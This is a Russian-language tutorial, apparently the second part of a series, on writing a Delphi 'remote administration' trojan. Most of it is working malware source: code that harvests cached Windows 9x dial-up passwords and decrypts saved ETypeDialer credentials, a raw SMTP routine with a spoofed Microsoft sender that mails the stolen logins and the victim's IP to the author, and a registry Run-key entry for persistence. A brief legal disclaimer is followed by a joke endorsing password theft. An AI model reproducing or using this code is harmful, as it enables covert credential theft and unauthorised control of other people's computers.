Если Вы прочитали и все
сделали, как было сказано в первой части, то у
Вас должен быть уже готовый  проект
сервера, загрузим его. Начнем!!!

Сначала подправим
маленькие неточности в прошлой статье.
Адрес где можно достать компонент FTPServer
выглядит так  http://www.rtfm.be/fpiette.

В этой части мы наворотим
нашу маленькую программку удаленного
администрирования еще несколькими
функциями, присущими на данный момент почти
каждой программе такого типа, это:

1. Дать возможность
администратору узнать под каким паролем
входит данный пользователь в сеть.
2. Передать этот пароль по почте, когда
пользователь войдет в сеть.
3. И самое главное, автозапуск своей
программы

Все, что будет далее
описано работает на системах Windows9x/ME. Винда
запоминает набранный пользователем пароль
при входе в сеть и, если он поставит галочку
на сохранение пароля, то он запомнится, и
следующий раз его не надо будет набирать.
Для этого Виндовс записывает пароли в файл
с расширением pwl и шифрует их там. В системе
есть недокументированная функция, сейчас
ставшая, по-моему, уже документированной :)), 
WNetEnumCachedPasswords, которая позволяет системе
считывать эти пароли. Сейчас мы напишем
такую функцию, которая будет на эти пароли
показывать.

Для начала объявим тип
данных TWinPassword в который будет передаваться
пароль при вызове функции WNetEnumCachedPasswords.
Объявим этот тип после нашего класса TForm1.
Это будет выглядеть так:

type
PWinPassword = ^TWinPassword;
TWinPassword = record
Size: Word;
ResourceSize: Word;
PasswordSize: Word;
Index: Byte;
Types: Byte;
PassChar: Char;
end;

Далее объявим две
глобальные переменные после

var
Form1: TForm1;

объявляем

passwordgl:string;
count:integer;

у нас должно получится
так:

var
   Form1: TForm1;
   passwordgl:string;
   count: integer;

Переменная  passwordgl буде
хранить все найденный пароли в системе для
передачи их нам. Переменная count это счетчик,
который будет хранить количество найденных
паролей, это бывает надо, когда пароли в
системе не сохранены и мы сообщим себе об
этом.
Теперь описываем
сами функции работы с паролями:

function WNetEnumCachedPasswords(lp: lpStr; w:
Word; b: Byte; PC: PChar; dw: DWord): Word; stdcall;
function CheckPass(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall;

Их надо расположить до
implementation чтоб все выглядело так:

type
    PWinPassword = ^TWinPassword;
    TWinPassword = record
    Size: Word;
    ResourceSize: Word;
    PasswordSize: Word;
    Index: Byte;
    Types: Byte;
    PassChar: Char;
end;

var
Form1: TForm1;
passwordgl:string;
count:integer;

function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw:
DWord): Word; stdcall;
function CheckPass(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall;

implementation
{$R *.DFM}

Теперь добрались до самого главного, вызова
функции просмотра паролей, делается это так:

function WNetEnumCachedPasswords(lp: lpStr; w:
Word; b: Byte; PC: PChar; dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';

(все пишется в одну
строчку) эта функция вызывается из mpr.dll  и
для того чтоб мы смогли правильно
определить пароли добавим еще одну функцию

function CheckPass(WinPassword: PWinPassword;
dw: DWord): LongBool; stdcall;
var
PC: Array[0..$FF] of Char;
s1:string;
i:integer;
begin
inc(Count);
Move(WinPassword.PassChar, PC, WinPassword.ResourceSize +
WinPassword.PasswordSize);
for i:=0 to WinPassword.ResourceSize-1 do
if pc[i] > chr(31) then s1:=s1+pc[i];
s1:=s1+' : ';
for i:=WinPassword.ResourceSize to
WinPassword.ResourceSize+WinPassword.PasswordSize do
if pc[i] > chr(31) then s1:=s1+pc[i];
Result := True;
passwordgl:=passwordgl+ s1+#13#10;
end;

Объясним, что мы тут
наделали. Для вызова  WNetEnumCachedPasswords мы
будем использовать такую строчку
WNetEnumCachedPasswords(nil, 0, $FF, @CheckPass, 0), о ней чуть ниже.
В функцию CheckPass передается указатель на
структуру  TWinPassword , содержащую пароль. В
параметре к WNetEnumCachedPasswords мы указываем адрес
нашей функции в системе для обработки
данных, это выглядит так - @CheckPass, значек @
указывает и указывает на то, что мы передаем 
адрес функции.  Разберем функцию CheckPass.
Создаем массив состоящий из 255 символов
типа сhar. В этот массив мы переносим всю
строчку с паролем  переданную в WinPassword,
используя WinPassword.ResourceSize и WinPassword.PasswordSize,
которые содержат соответственно размер
ресурса и размер пароля. В ресурсе
указывается тип соединения и имя. Далее
простым перебором массива в цикле, зная
размер ресурса и пароля, просто
выбираем их оттуда и отфильтровываем все
ненужные символы. Теперь сама функция
вызова пароля:

function password:string;
begin
  if WNetEnumCachedPasswords(nil, 0, $FF, @CheckPass, 0) <> 0 then
    begin
     passwordgl:='Cant load passwords: User is not logon.';
   end
else
  if count = 0 then
   begin
       passwordgl:='Passwords not found...';
   end;
Result:=passwordgl;
end;

Ну тут, надеюсь, объяснять
ничего не надо, вроде и так все понятно.
Теперь добавляем вызов пароля в нашу
обработку пришедших сообщений от клиента:

if a = 'pass' then
begin
  Socket.SendText(password);
end;

Та-Та-Та-Та-Дам.
Сохраненные пароли у нас, как говорится, уже
в кармане. Но есть но, сейчас пользователи,
которых мы будем администрировать могут
быть чуть-чуть повыше, чем обычный юзер, и они
могут не сохранять пароли при наборе номера
или могут воспользоваться другой
программой набора номера, например у меня в
городе наиболее распространенной
программой является ETypeDialer. Применив
немного терпения, можно и оттуда надергать
пароли. Сейчас покажу как это сделать:

Сначала объявим функцию
  windir , которая будет нам возвращать путь
Виндовс каталога. Вписываем после function
CheckPass(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall; нашу
функцию -
function windir : string;

и после  implementation
описываем ее:

function windir : string;
var
pWindowsDir : array [0..255] of Char;
begin
GetWindowsDirectory (pWindowsDir, 255);
Result := StrPas (pWindowsDir);
end;

Результатом этой функции
будет строка содержащая путь к каталогу
Виндовс. Ну а теперь сама функция для
вытаскивания паролей из ETypeDialer: Объявим ее
после объявления windir, чтоб выглядело все так

function windir : string;
function edial:string;

Ну а теперь после
описания windir опишем ее:

function edial:string;
var
f:textFile;
a:string;

    function decryptedial(str:string):string;
    var
      i:integer;
    begin
      result:='';
       for i:=1 to length(str) do
        begin
         result:=result+chr(ord(str[i])-i+1);
       end;
    end;

begin
result:='';
AssignFile(F,windir+'\edialer.ini');
{$I-}
Reset(F);
{$I+}
if IOResult = 0 then
begin
while not EOF(f) do
   begin
    readln(f,a);
    if pos('[RAS_Entry_',a)>0 then
   begin
      result:=result+#10#13+a+#10#13;
     continue;
   end;

if (pos('Phone_',a)>0) and (pos('=',a)<> Length(a)) and (ord(a[pos('=',a)+1])
in [48..57]) then
begin
result:=result+a+#10#13;
continue;
end;
if (pos('PasswordSaved',a)>0) and (pos('=',a)<> Length(a)) then
begin
result:=result+'Password = '+decryptedial(copy(a,pos('=',a)+1,Length(a)-pos('=',a)))+#10#13;
continue;
end;

if (pos('LoginSaved',a)>0) and (pos('=',a)<> Length(a)) then
begin
result:=result+'Login = '+copy(a,pos('=',a)+1,Length(a)-pos('=',a))+#10#13;
end;

if (pos('PasswordSave=',a)>0) and (pos('=',a)<> Length(a)) then
begin
if (a[pos('=',a)+1] <>'Y') and (a[pos('=',a)+1] <>'y') then
result:=result+'Password not Save'+#10#13;
end;

end;
CloseFile(F);
end;

end;

Внутри функции Etype
описываем функцию  decryptedial, которая
расшифровывает зашифрованный пароль
звонилки. Как видите метод шифрации простой,
к символу пароля приплюсовывается его
местоположение. Все пароли EDialer хранит в
папке Виндовс в файле edialer.ini. Мы открываем
этот файл и строчкой за строчкой
просматриваем его. Если  встречаем
строчку "[RAS_Entry_", то сохраняем е у себя,
она содержит имя соединения.  Если 
встречаем строчку "Phone_" значит мы
набрели на телефоны данного соединения.
Проверяем, если после знака "=" следую
цифры то мы сохраняем их.  Если 
встречаем строчку "PasswordSaved" значит
набрели на пароль, дешифруем его и
сохраняем. Тоже самое делаем и с логином,
только его не надо дешифровывать. И если
встречаем строчку  "PasswordSave="
проверяем ее на то, чтоб после нее стоял знак
Y, если это не так, то сохраняем строчку "Password
not Save", это будет означать, что
пользователь в этом соединении не сохранил
пароль с помощью EDialera. Дорабатываем нашу
строчку вызова пароля:

if a = 'pass' then
begin
  Socket.SendText(password+#10#13+edial);
end;

и в ответ будет включен
найденный пароль в EDialerer, если он
используется.

Теперь займемся почтой.
Для того, чтоб отправить себе письмо надо
указать имя сервера на котором находится
ваша почта и ваш ящик. Описываем две
константы содержащие нашу почту, например:

const
myadr='smtp6.port.ru';
myusr='администратор@мыло.ру';

Добавляем в глобальные
переменные переменную  mailsend:boolean = false ,
которая будет указывать на то, была ли
передана почта или нет. Добавляем в
основной uses строчку winsock.

Кидаем на форму компонент
TTimer задаем ему время срабатывания нужное
вам, у меня например 360000 что соответствует 10
минутам. Во вкладке Events выбираем OnTimer и жмем
два раза. Вписываем строчку такого
содержания 

if not mailsend then if mail then mailsend:=true;

Теперь объявляем функцию
mail после объявлении функции edial

function mail:boolean;

Теперь напишем саму
функцию передачи почты:

function mail:boolean;
type
TaPInAddr = array [0..255] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
pptr : PaPInAddr;
I : Integer;
adress:string;
s:TSocket;
WSAData:TWSAData;
ph:PHostEnt;
InAddr: TInAddr;
iaddr: integer;
addr:TSockAddrIn;
buf: array[0..255] of char;
s1:string;

label ex;
       procedure sender(str:string);
       var
          i1:integer;
       begin
         for i1:=1 to Length(str) do
         if send(s, str[i1] , 1, 0) =
SOCKET_ERROR then  exit;
       end;

begin
result:=false;
adress:= myadr;
if WSAStartUp(257, WSAData) <> 0 then Exit;
s := socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if s = INVALID_SOCKET then Exit;
iaddr := inet_addr(PChar(adress));
if iaddr <=0 then
begin
  ph := gethostbyname(PChar(adress));
  if ph = nil then goto ex;
  pptr := PaPInAddr(ph^.h_addr_list);
  I := 0;
  while pptr^[I] <> nil do
  begin
    InAddr:= pptr^[I]^;
    inc(i);
   addr.sin_addr:=inaddr;
//Коннектимся с серваком
    addr.sin_family := AF_INET;
    addr.sin_port := htons(25);
    if (connect(s, addr,sizeof(addr))) =0 then break;
  end;
end
else
begin
    addr.sin_family := AF_INET;
    addr.sin_port := htons(25);
   addr.sin_addr.S_addr:=iaddr;
end;
    if (connect(s, addr,sizeof(addr))) >0 then exit;
     i:=recv(s,buf,sizeof(buf),0);
    if (i = SOCKET_ERROR) then exit;
s1:=buf;
if pos('220', s1) <=0 then exit;
buf:='HELO SERVER'#13#10;
sender('HELO SERVER'#13#10);
i:=recv(s,buf,sizeof(buf),0);
    if (i = SOCKET_ERROR) then goto ex;
s1:=buf;
if pos('250', s1) <=0 then goto ex;
sender('MAIL FROM: <billgates@microsoft.com>'#13#10);
i:=recv(s,buf,sizeof(buf),0);
    if (i = SOCKET_ERROR) then goto ex;
s1:=buf;
if pos('250', s1) <=0 then goto ex;

adress:='RCPT TO: <'+StrPas(PChar(myusr))+'>'+#13#10;
sender(adress);
i:=recv(s,buf,sizeof(buf),0);
    if (i = SOCKET_ERROR) then goto ex;
s1:=buf;
if pos('25', s1) <=0 then goto ex;
sender('DATA'#13#10);
i:=recv(s,buf,sizeof(buf),0);
    if (i = SOCKET_ERROR) then goto ex;
s1:=buf;
if pos('354', s1) <=0 then goto ex;
sender('From: <bill@maicrosoft.com>'#13#10);
adress:='To: <'+StrPas(PChar(myusr))+'>'+#13#10;
sender(adress);
sender(''#13#10);
sender('Hi, I`m Remote Administrator'#13#10);
sender('IP клиента - '+Form1.ServerSocket1.Socket.LocalAddress+#13#10);
sender(password);
sender(#10#13'E-Dialer'#10#13);
sender(edial);
sender(#13#10'.'#13#10);
    if recv(s,buf,sizeof(buf),0) = SOCKET_ERROR then goto ex;
s1:=buf;
if pos('250', s1) <=0 then goto ex;
sender('QUIT'#13#10);
   if recv(s,buf,sizeof(buf),0) = SOCKET_ERROR then goto ex;
result:=true;
ex: CloseSocket(s);
end;

Не пугайтесь, все не так
уж и страшно, сейчас все объясню. Первым
делом мы объявили процедуру

procedure sender(str:string);
var
  i1:integer;
  begin
   for i1:=1 to Length(str) do
   if send(s, str[i1] , 1, 0) = SOCKET_ERROR then  exit;
  end;

Она служит для передачи
текста серверу по одному символу.

if WSAStartUp(257, WSAData) <> 0 then
Exit;
s := socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if s = INVALID_SOCKET then Exit;

Здесь происходит
создание и инициализация  сокета. Если
сокет не удалось инициализировать то
осуществится выход из функции.

iaddr := inet_addr(PChar(adress));
if iaddr <=0 then
begin
  ph := gethostbyname(PChar(adress));
  if ph = nil then goto ex;
  pptr := PaPInAddr(ph^.h_addr_list);
  I := 0;
  while pptr^[I] <> nil do
  begin
    InAddr:= pptr^[I]^;
    inc(i);
   addr.sin_addr:=inaddr;
//Коннектимся с серваком
    addr.sin_family := AF_INET;
    addr.sin_port := htons(25);
    if (connect(s, addr,sizeof(addr))) =0 then break;
  end;
end
else
begin
    addr.sin_family := AF_INET;
    addr.sin_port := htons(25);
   addr.sin_addr.S_addr:=iaddr;
end;

Здесь мы проверяем наш
адрес сервера, он может быть задан как в
виде цифр так и в виде имени сервера. Так как
и Интернете все адресуется цифрами, а имена
используются только для простаты ввода, мы
будем использовать и такой и такой метод.
Адресация в инете происходит так, например
если мы зададим   адрес сервера www.mail.ru, то
браузер в сети интернет сначала даст запрос
на DNS сервер и, если он получит ответ, то
будет осуществляться вызов этого сервера
по полученному цифровому адресу. Для этого
мы сначала проверяем какой тип адреса нам
задан, используем функцию сокета inet_addr:

iaddr := inet_addr(PChar(adress));
if iaddr <=0 then

если адрес преобразован
правильно, то есть задан был в цифровом виде,
то попытаемся выполнить соединение с
сервером

begin
    addr.sin_family := AF_INET;
    addr.sin_port := htons(25);
   addr.sin_addr.S_addr:=iaddr;
end;

если iaddr  меньше или
равен нулю, это бывает когда мы задаем что-то
типа www.mail.ru, то сначала выдаем запрос на
поиск хоста по имени

ph := gethostbyname(PChar(adress));
if ph = nil then goto ex;
pptr := PaPInAddr(ph^.h_addr_list);
I := 0;

Дальше если был получен
ответ, то мы пытаемся выделить из него адрес

while pptr^[I] <> nil do
begin
 InAddr:= pptr^[I]^;
 inc(i);
 addr.sin_addr:=inaddr;
//Коннектимся с серваком
 addr.sin_family := AF_INET;
 addr.sin_port := htons(25);
 if (connect(s, addr,sizeof(addr))) =0 then break;
end;
end

и пытаемся соединится с
сервером.

if (connect(s, addr,sizeof(addr))) >0 then
exit;
i:=recv(s,buf,sizeof(buf),0);
if (i = SOCKET_ERROR) then exit;
s1:=buf;

для соединения мы
используем функцию сокета   connect(s, addr,sizeof(addr)),
и если не успешно то выходим. Дальше с
помощью      i:=recv(s,buf,sizeof(buf),0); мы
считываем информацию из сокета и если
переменная которой мы присвоили результат
чтения будет равна if (i = SOCKET_ERROR) then exit; тогда
выход. Эта функция выхода  будет часто
встречаться, и поэтому я больше про нее не
буду говорить. Присваиваем переменной s1
значение массива buf. Если мы соединились на
SMTP сервер, то нам будет в ответ послана
строчка с именем сервера, содержащая в
начале цифру 220, означающую что соединение
идет нормально

if pos('220', s1) <=0 then exit;
buf:='HELO SERVER'#13#10;

Передаем на сервер
приветственную строку, нужную для начала
работы с сервером почты

sender('HELO SERVER'#13#10);
i:=recv(s,buf,sizeof(buf),0);
if (i = SOCKET_ERROR) then goto ex;

Проверяем переданную
информацию

s1:=buf;
if pos('250', s1) <=0 then goto ex;

Если получили 250 значит
все в порядке и передаем имя от которого
пришла почта, я выбрал случайное имя

sender('MAIL FROM: <billgates@melcosoft.com>'#13#10);
i:=recv(s,buf,sizeof(buf),0);
    if (i = SOCKET_ERROR) then goto ex;
s1:=buf;
if pos('250', s1) <=0 then goto ex;

Если все в порядке, и
сервер принял нашего адресата, то передаем
название того, кому эту почту надо передать

adress:='RCPT TO: <'+myusr+'>'+#13#10;
sender(adress);
i:=recv(s,buf,sizeof(buf),0);
    if (i = SOCKET_ERROR) then goto ex;
s1:=buf;
if pos('25', s1) <=0 then goto ex;

Некоторые серверы при
получении адресата, кому передать почту,
могут выдать различные значения, например,
если сервер будет знать, что данный
пользователь находится не на его сервере а
на другом, то он сообщит вам об этом, и если
правильно, то первые две цифры все равно
будут неизменно 25. Дальше говорим о том, что
начинаем передавать блок данных для
адресата

sender('DATA'#13#10);
i:=recv(s,buf,sizeof(buf),0);
    if (i = SOCKET_ERROR) then goto ex;
s1:=buf;

Если в ответ мы получили
строку содержащую число 354 значит можно
передавать данные

if pos('354', s1) <=0 then goto ex;

Повторяем информацию для
сервера о своих данных и о том кому
передается почта

sender('From: <billgates@melcosoft.com>'#13#10);
adress:='To: <'+myusr+'>'+#13#10;
sender(adress);
sender(''#13#10);

Теперь пишем тело письма

sender('Hi, I`m Remote Administrator'#13#10);

Передадим себе  IP
клиента

sender('IP клиента -
'+Form1.ServerSocket1.Socket.LocalAddress+#13#10);

отсылаем пароли
sender(password);
sender(#10#13'E-Dialer'#10#13);
sender(edial);

Завершаем блок данных
передачей такой строчки
sender(#13#10'.'#13#10);
    if recv(s,buf,sizeof(buf),0) = SOCKET_ERROR then goto ex;
s1:=buf;
if pos('250', s1) <=0 then goto ex;

Прощаемся с сервером
sender('QUIT'#13#10);
   if recv(s,buf,sizeof(buf),0) = SOCKET_ERROR then goto ex;

И все почта ушла!!
Теперь АВТОЗАПУСК!
Добавляем в uses нашей формы Registry, а в класс
TForm1 вызов двух функций:

procedure writereg(keyname,str1,str2 : string);
function readreg(keyname,str1: string):string;

для записи и чтения
данных из регистров Винды.
В
конец добавляем описание этих процедур.

procedure Tform1.writereg(keyname,str1,str2 :
string);
var
TheReg: TRegistry;
begin
try
TheReg := TRegistry.Create;
try
TheReg.RootKey := HKEY_LOCAL_MACHINE;
thereg.CreateKey(keyname);
if TheReg.OpenKey(KeyName, True) then
begin
TheReg.WriteString(str1,str2);
TheReg.CloseKey;
end;
finally
TheReg.Free;
end;
except end;
end;

function Tform1.readreg(keyname,str1: string):string;
var
TheReg: TRegistry;
begin
try
TheReg := TRegistry.Create;
try
TheReg.RootKey := HKEY_LOCAL_MACHINE;
thereg.CreateKey(keyname);
if TheReg.OpenKey(KeyName, True) then
begin
result:=TheReg.ReadString(str1);
TheReg.CloseKey;
end;
finally
TheReg.Free;
end;
except end;
end;

Эти функции не очень сложны, происходит
вызов стандартных функций для чтения и
записи в регистры Виндовс используя
переменную типа TRegistry и по подробнее можно
узнать из справки к Делфи. Теперь добавляем
в событие OnCreate нашей формы такую строчку:

if readreg ('Software\Microsoft\Windows\CurrentVersion\Run','RemoteAgent')
<> application.exename then
writereg ('Software\Microsoft\Windows\CurrentVersion\Run','RemoteAgent',
application.exename);

Мы считываем содержимое
регистров из Software\Microsoft\Windows\CurrentVersion\Run,
отсюда Виндовс запускает автоматически
свои программы. Первым делом мы считываем
от туда информацию из ключа RemoteAgent и сравниваем с расположением нашей
программы на диске, если это не так, дописываем туда себя. Все, при перезагрузки
программа запустится автоматически.

ВНИМАНИЕ! Все что было
написано, то написано в ознакомительных
целях,   использование данной информации
может повлечь за собой уголовную
ответственность!!!!

Если Вы все-таки
поплевали на все это :)) то есть еще одно
УСЛОВИЕ и оно самое ГЛАВНОЕ, пароли драть
можно только у тех, кто зажрался на
интернете, а не собирает гроши со стипендии
для покупки нескольких часов!!!!

Пока на этом все!!!
Некоторые говорят, что программу удаленного
администрирования лучше писать на си или
ассемблере, с ассемблером все понятно,
написать программу удаленного
администрирования на нем круто, но
написанная программа на Делфи может ничем
не отличаться от написанной на Си, я написал 
программу которая отсылает работает с
почтой, и она имеет размер 30 КБайт !!!! Работа
с почтой в этой статье взята оттуда.
Надеюсь дойдут руки и я распишу ее и сюда
кину!:)

Удачи Вам в Нашем
нелегком деле!!!

Полный
текст программы

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии